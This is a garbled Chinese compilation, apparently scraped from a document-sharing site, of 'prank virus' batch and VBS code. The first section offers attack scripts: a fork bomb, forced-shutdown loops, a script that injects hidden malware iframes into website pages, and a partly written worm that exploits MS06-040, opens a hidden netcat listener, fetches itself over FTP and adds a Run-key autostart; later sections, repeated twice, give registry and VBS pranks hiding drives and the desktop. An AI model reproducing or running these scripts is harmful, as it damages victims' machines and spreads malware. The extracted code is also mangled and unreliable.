2023年11月26日发(作者:)

三一文库(

bat整人电脑病毒代码是怎样的〕

*篇一:一些bat恶搞代码

第一个:让别人内存OVER(逼他重启)

@echooff

startcmd

%0

就这3行了

第二个:让对方重启指定次数(害人专用)

@echooff

ifnotexistc:o.c:oerr1

ifnotexistc:o.c:oerr1

ifnotexistc:o.c:oerr1

ifnotexistc:o.c:oerr1

ifnotexistc:o.c:oerr1

gotoerr2

:err1

shutdown-s-t0

1 24

:err2

上面可以让对方电脑重启5次后不在重启

第三个:自动踢人(3389肉机保护自己专用)

@echooff

logoff1

logoff后面的1改成自己登陆的ID,queryuser

第四个:批量自动溢出

@for/f%%iin()do42%%i58.44.89.158521

先自己用NC监听端口,多开几个,然后指行,就自动溢出

第五个:自动挂马改主页

@echooff

cls

rem直接打批处理名字就有帮助

title批量挂马,改首页(伤脑筋QQ:447228437).

colorA

setpan=%1

setye=%2

setdai=%3

if"%pan%"==""gotoe1

2 24

if"%ye%"==""gotoe1

if"%dai%"==""gotoe1

if"%dai%"==""gotou1

forfiles/p%pan%/m%ye%/s/c"cmd/cif@isdir==FALSEecho^

iframesrc=":%dai%"width="0"height="0"frameborder="0

"^@path"echo.

echo代码全部插入完毕

echo.

pause

gotoe1

:u1

echo您现在的操作将使%pan%盘下,全部名为%ye%的内

容变为您要更改的内容.echo这将是非常危险的,您真的要

这样做?回车却认,Ctrl+c取消操作.pause

forfiles/p%pan%/m%ye%/s/c"cmd/cif@isdir==FALSEcopy%

@path/y"

echo.

echo首页全部更改完必如果您发现没有替换成功,

请将%ye%文件只读属性去掉.

echo.

3 24

pause

:e1

echo.

echo本批处理只适用于2003系统,其他系统要使用,

拷贝至系统盘system32目录下

echo用法:snj^搜索盘符^^文件名^^网马地址^

echo例子:snjd:/

echo批处理将自动添加^iframe^标记

echo.

echo如果您要更改全部网站的首页!请在批处理文件所

在目录下,新建一个名为的文本文件.

echo然后将要更改的代码加COPY到里面保存.然后将命

令的^网马地址^项输入为即可.

echo例子:snjd:

echo.

echo为了能准确无误执行批处理请最好先把记事本的"

自动换行功能去掉",

命令保持在一行才能正确执行.

echo.

echo使用此批处理造成一切后果本人概不负责,请大家

谨慎使用!

echo.

4 24

第六个:利用批处理编写利用系统漏洞传播的蠕虫病毒

本来想写完后在做教程,要去学校了,所以先把思路告

诉大家,大家可以先自己写写,我有时间写完发到群里.

这些是我未完成的批处理,大家可以在此基础上按照我

下面说的思路继续写完delc:

delc:

delc:

echodimwsh%systemroot%

echoset

wsh=CreateObject("")%systemroot%help

"cmd/c%systemroot%helpnc-v-l-p

810

%systemroot%",0%systemroot%helpte

echodimwsh%systemroot%

echoset

wsh=CreateObject("")%systemroot%help

"cmd/c

start%systemroot%",0%systemroot%help

5 24

oopen10.0.0.5%systemroot%

echoopenmyyes%systemroot%

echo1%systemroot%

echobinary%systemroot%

:%systemroot%

:%systemroot%

:%systemroot%

echobye%systemroot%

echoechoSetxPost=CreateObject("P")

^%systemroot%

^^%systemroot%

File"d:",2

^^%systemroot%

^^%systemroot%

^^%systemroot%

echoWindowsRegistryEditorVersion5.00%systemroot%he

o

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurr

entVersionRun]%systemroot%

echo"SKYNETPersonalFireWall"="F:系统安全工具

"%systemroot%

movec:%systemroot%helpy

movec:%systemroot%helpy

movec:%systemroot%helpy

%systemroot%

remfor/f%%iin()doseta=%%i

remfor/f%%jin()do42%a%%%j810

准备:

1:找一个反向连接的溢出攻击程序,ms06040漏洞

2:找呀一个免费FTP空间,最好是送域名的

3:利用你所知道的高级语言编写一个,能生成随机范围

IP地址和找到本机IP的工具.

思路:

for语句对指定文本里的IP进行溢出,然后用if

句判断是否溢出成功,如果成功开启一个NC监听端口,NC

面带一个输入符号

输入的内容为下载本批处理文件,然后执行这个批处理.

这样被溢出的机器就又会在他那里运行我门的批处理,从而

到自动传播的目的.

把批处理生成的文件集中放到一个目录下,

%systemroot%系统变量直接放到系统目录下

因为批处理运行后会闪出命令行窗口,我门可以利用

VBS脚本来运行我们的批处理,这样就不会有任何窗口出现,

8 24

脚本如下

echodimwsh%systemroot%

echoset

wsh=CreateObject("")%systemroot%help

"cmd/c%systemroot%helpnc-v-l-p

810

%systemroot%",0%systemroot%helpte

生成随机IP工具的VB代码

PrivateSubForm_Load()

DimfsoAsNewFileSystemObject

Dima,b,c,dAsInteger

Dimph,eAsString

ph=""""

Randomize

a=Int(253*Rnd+1)

b=Int(253*Rnd+1)

e=a"."b"."i"."jPrint#1,e

DoEvents

Nextj

Nexti

Close#1

UnloadMe

EndSub

*篇二:整人“病毒”代码()

发表于2013-10-2310:33

前段时间看到大家对这种整人的代码兴趣还挺浓厚的,

我最近就收集了一些和大家分享。

PS:由于精力问题没有对代码的可用性进行一一验证,

所以不保证全部可用,大家如果发现有不可用的或者需要改

进的地方请提出来,以下代码仅供娱乐,请勿用于非法用途。

一、怎么点都没反应的桌面

如果同事的电脑开着,他离开电脑前一会,嘿嘿,机会

来了。

把他的电脑桌面按print键截屏截下来,(当然QQ截屏

也可以,不过效果不太逼真!)建议大家用print截屏,设

置为桌面。

然后把原来在桌面上的文件统统移到一个盘的文件夹

里,这样桌面看上去和平时一个样。他回来后狂点鼠标,却

10 24

怎么都没有反应!现在还在关机,开机,关机,开机,关机,

机中

附带:print键截屏方法:

键盘右上方的“PrintScreenSysRq”键的作用是屏幕抓

图!

用法一,按“PrintScreenSysRq”一下,对当前屏幕进

行抓图,就是整个显示屏的内容。

用法二,先按住“Alt”键,再按“PrintScreenSysRq

键,则是对当前窗口进行抓图。如你打开“我的电脑”后,

用此法就抓取“我的电脑”窗口的内容。

用上诉两种方法抓图后,再打开“开始”“附件”里的

“画图”程序,点“编辑”“粘贴”就把抓取的图片贴出来

了,可以保存为自己需要的格式。哈哈,简单吧,这方法真

挺搞的,有兴趣的童鞋可以试试!

二、让电脑硬盘消失-隐藏磁盘方法

愚人节电脑整人使无端端地电脑磁盘的某个分区消失

了,钻进地缝里面去了吗,给外星人抓走了??非也!是某

些人使坏将其隐藏起来了!

步骤

1.新建一个记事本

2.将记事本的后缀改为.reg,就是将“新建文件.txt

改为“新建文件.reg

11 24

3.将下面的代码复制到记事本当中:

WindowsRegistryEditorVersion5.00

[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurre

ntVersionPoliciesExplorer]

"NoDrives"=hex:08,00,00,00

解释

1"NoDrives"=hex:08,00,00,00这个键值是隐藏D

盘的

图中的D盘已经神秘消失了。

2

A=01000000B=02000000C=04000000D=08000000E=10000000F

=20000000G=40000000H=80000000I=00010000J=00020000K=

00040000原理介绍:二进制值“NoDrives”的缺省值均是

00,00,00,00,表示不隐藏任何驱动器。键值由四个字节组

成,每个字节的每一位(bit)对应从A:Z:的一个盘,当相

应位为1时,“我的电脑”中相应的驱动器就被隐藏了。第

一个字节代表从AH8个盘,即01A02B04

C??依次类推,第二个字节代表IP第三个字节代表Q

X,第四个字节代表YZ。比如要关闭C盘,将键值改

04,00,00,00;要关闭D盘,则改为08,00,00,00,若要关

C盘和D盘,则改为0C,00,00,00(C是十六进制,转成十

12 24

进制就是12)

理解了原理后,下面以笔者的电脑为例说明如何操作:

笔者的电脑有一个软驱、一个硬盘(5个分区)、一个光驱,

盘符分布是这样的:A:(3.5软盘)C:D:E:F:G:

H:(光盘),所以我的“NoDrives”值为“02ffffff,隐藏

BIZ盘。

还原方法

1.点击开始--运行,如图,在运行对话框中输入

regedit,打开注册表编辑器。

2.依次打开

[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurre

ntVersionPoliciesExplorer],将右侧窗口中"NoDrives"

这个子键删除。

3.重新启动电脑。

三、空空的桌面

电脑桌面是用户最熟悉不过的了,电脑整人方法电脑启

动之后首先呈现的就是桌面了,如果在愚人节你把你朋友的

桌面给Hack掉了话,你的朋友是不是会发疯啊?

桌面是用户操作电脑首先进入的界面,电脑桌面空空如

也,一望无垠的时候,你是否很无奈?原来这一切都是它在

作怪!

13 24

如图整人后桌面清清爽爽,什么都没有!

方法步骤

1.新建一个记事本

2.将记事本的后缀改为.reg,就是将“新建文件.txt

改为“桌面.reg

3.将下面的代码复制到记事本当中:

WindowsRegistryEditorVersion5.00

[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurre

ntVersionPolicies

Explorer]

"NoDesktop"=dword:00000001

"NoSetTaskbar"=dword:00000001

解释:(1)"NoDesktop"=dword:00000001这个键值是屏

蔽桌面的;

(2)"NoSetTaskbar"=dword:00000001这个键值是禁用

“任务栏属性”功能。将信息导入到注册表之后,桌面图标、

桌面右键、桌面属性的功能都被禁用了。还原方法:

1.点击开始--运行,如图,在运行对话框中输入

regedit,打开注册表编辑器。

2依次打开

14 24

[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurre

ntVersionPoliciesExplorer],将右侧窗口中

NoDesktopNoSetTaskbar”这两个子键删除。

四、让天使替我说我爱你

CreateObject("e").Speak"iloveyou"

送给你女朋友她会高兴地,保存为.vbs格式

五、打开无数个计算器

setwsh=createobject("")

do

"calc"

loop

这段代码是打开无数个计算器,直到死机,也是保存

.vbs格式

六、你被耍了

while(1)

msgbox"哈哈你被耍了!"

loop

这段代码就比较坏了,一直弹出窗口显示"哈哈,你被刷

!"要是你不会结束它,只好重启电脑了,也是保存为.vbs

格式

七、甩不掉的魔鬼

("嘿,谢谢你打开我哦,我等你很久拉!

15 24

"TSName)

("你是可爱的小朋吗?")

(",我想你拉,这你都不知道吗?")

("怎么才来,说~是不是不关心我")

(",我生气拉,等你这么久,心都凉啦。

")

("小强很生气,后果很严重哦。")

("嘿嘿!你也会很惨滴哦")

("是不是想清除我?")

("那你要点上50下哦,不过会给你惊喜

")

("还剩49下,快点点哦")

("还剩48下,快点,小笨蛋!")

("还剩47下对,就这样快点点!")

("还剩46下。你啊就是笨,要快哦,我

先不打扰你工作。")("还剩45下,记得要快

哦!")

("还剩43")

("还剩42")

("还剩41")

("还剩40")

("还剩39")

16 24

("还剩38")

("还剩37")

("还剩36")

("还剩35")

("还剩34")

("还剩33")

("还剩32")

("还剩30")

("还剩29")

("还剩28")

("还剩27")

("还剩26")

("还剩25")

("还剩24")

("还剩23")

("还剩22")

("还剩15")

("还剩14")

("还剩13下停停!!慢点,我有话要说

")

("还剩12下,你继续点我就会消失滴")

("还剩11下,以后就看不到我拉。555555")

("还剩10下,你现在可以选择停止!")

("还剩9下。你还点啊,不要我拉?")

("还剩8下,有点伤心拉,干嘛丢弃人家

")

("还剩7下。疯了,你有点负意!")

("还剩6下。对。你就点吧,我恨你!")

("还剩5下,不明白,删除我你就好吗?

")

("还剩4下!真要删除我?")

("还剩3下。可是我真的很眷恋你。")

("还剩2下。不要这么绝情嘛,人家是爱

你的!")

("还剩1下。哼,既然你这么绝情。也别

怪我无义!")

("我本因该消失的,不过我留恋你滴芳容,

上帝又给了一次机会。")

18 24

("想结素我么?那你就再多点一次")

("想结素我么?那你就再多点一次")

("想结素我么?那你就再多点一次")

("想结素我么?那你就再多点一次")

改成.vbs

八、说我是猪

onerrorresumenext

dimWSHshellA

setWSHshellA=object("")

"/cshutdown-r-t180-c""说我

是猪,不说我是猪就一分钟关机,不信,试下···""",0,true

dima

dowhile(a"我是猪")

a=inputbox("说我是猪,就不关机,快撒,说""我是猪

""

","说不说","",8000,7000)

msgboxchr(13)+chr(13)+chr(13)+a,0,"MsgBox"

loop

msgboxchr(13)+chr(13)+chr(13)+"早说就行了嘛"

dimWSHshell

19 24

setWSHshell=object("")

"/cshutdown-a",0,true

msgboxchr(13)+chr(13)+chr(13)+"哈哈哈哈,好乖"

这个运行后必须输入我是猪(当然你也可以改成别的,

把代码中所有的我是猪换成你想改的,

比如说我爱XXX之类的,大家懂的),如果一分钟没输入

我是猪,就会关机.也改成.vbs

九、被鬼附身的记事本

dimsh,str,a,i

setsh=createobject("")

"notepad"打开记事本

ivate("无标题-记事本")=false

1000

loop

str="wokao1!ni1youmeiyou1gaocuo1!"这一行是演示

中文输入。定义要打字的字符串。只能是英文或数字或符号。

如果想输入中文请把下2行的注释去掉。否则就在前面

加上注释符号“”(

*篇三:整人病毒代码

前段时间看到大家对这种整人的代码兴趣还挺浓厚的,

我最近就收集了一些和大家分享。PS:由于精力问题没有对

代码的可用性进行一一验证,所以不保证全部可用,大家如

20 24

果发现有不可用的或者需要改进的地方请提出来,以下代码

仅供娱乐,请勿用于非法用途。一、怎么点都没反应的桌面

如果同事的电脑开着,他离开电脑前一会,嘿嘿,机会

来了。

把他的电脑桌面按print键截屏截下来,(当然QQ截屏

也可以,不过效果不太逼真!)建议大家用print截屏,设

置为桌面。

然后把原来在桌面上的文件统统移到一个盘的文件夹

里,这样桌面看上去和平时一个样。他回来后狂点鼠标,却

怎么都没有反应!现在还在关机,开机,关机,开机,关机,

机中

附带:print键截屏方法:

键盘右上方的“PrintScreenSysRq”键的作用是屏幕抓

图!

用法一,按“PrintScreenSysRq”一下,对当前屏幕进

行抓图,就是整个显示屏的内容。

用法二,先按住“Alt”键,再按“PrintScreenSysRq

键,则是对当前窗口进行抓图。如你打开“我的电脑”后,

用此法就抓取“我的电脑”窗口的内容。

用上诉两种方法抓图后,再打开“开始”“附件”里的

“画图”程序,点“编辑”“粘贴”就把抓取的图片贴出来

了,可以保存为自己需要的格式。

21 24

哈哈,简单吧,这方法真挺搞的,有兴趣的童鞋可以试

试!

二、让电脑硬盘消失-隐藏磁盘方法

愚人节电脑整人使无端端地电脑磁盘的某个分区消失

了,钻进地缝里面去了吗,给外星人抓走了??非也!是某

些人使坏将其隐藏起来了!

步骤

1.新建一个记事本

2.将记事本的后缀改为.reg,就是将“新建文件.txt

改为“新建文件.reg

3.将下面的代码复制到记事本当中:

WindowsRegistryEditorVersion5.00

[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurre

ntVersionPoliciesExplorer]"NoDrives"=hex:08,00,00

,00

解释

1"NoDrives"=hex:08,00,00,00这个键值是隐藏D

盘的

图中的D盘已经神秘消失了。

2

A=01000000B=02000000C=04000000D=08000000E=10000000

22 24

F=20000000G=40000000H=80000000I=00010000J=00020000K

=00040000

原理介绍:二进制值“NoDrives”的缺省值均是

00,00,00,00,表示不隐藏任何驱动器。键值由四个字节组

成,每个字节的每一位(bit)对应从A:Z:的一个盘,当相

应位为1时,

“我的电脑”中相应的驱动器就被隐藏了。第一个字节

代表从AH8个盘,即01A02B04C??依次

类推,第二个字节代表IP,第三个字节代表QX,第

四个字节代表YZ。比如要关闭C盘,将键值改为

04,00,00,00;要关闭D盘,则改为08,00,00,00,若要关闭

C盘和D盘,则改为0C,00,00,00(C是十六进制,转成十进

制就是12)

理解了原理后,下面以笔者的电脑为例说明如何操作:

笔者的电脑有一个软驱、一个硬盘(5个分区)、一个光驱,

盘符分布是这样的:A:(3.5软盘)C:D:E:F:G:

H:(光盘),所以我的“NoDrives”值为“02ffffff,隐藏

BIZ盘。

还原方法

1.点击开始--运行,如图,在运行对话框中输入

regedit,打开注册表编辑器。2.依次打开

23 24

[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurre

ntVersionPoliciesExplorer],将右侧窗口中"NoDrives"

这个子键删除。

3.重新启动电脑。

三、空空的桌面

电脑桌面是用户最熟悉不过的了,电脑整人方法电脑启

动之后首先呈现的就是桌面了,如果在愚人节你把你朋友的

桌面给Hack掉了话,你的朋友是不是会发疯啊?

桌面是用户操作电脑首先进入的界面,电脑桌面空空如

也,一望无垠的时候,你是否很无奈?原来这一切都是它在

作怪!

<

bat整人电脑病毒代码是怎样的》

24 24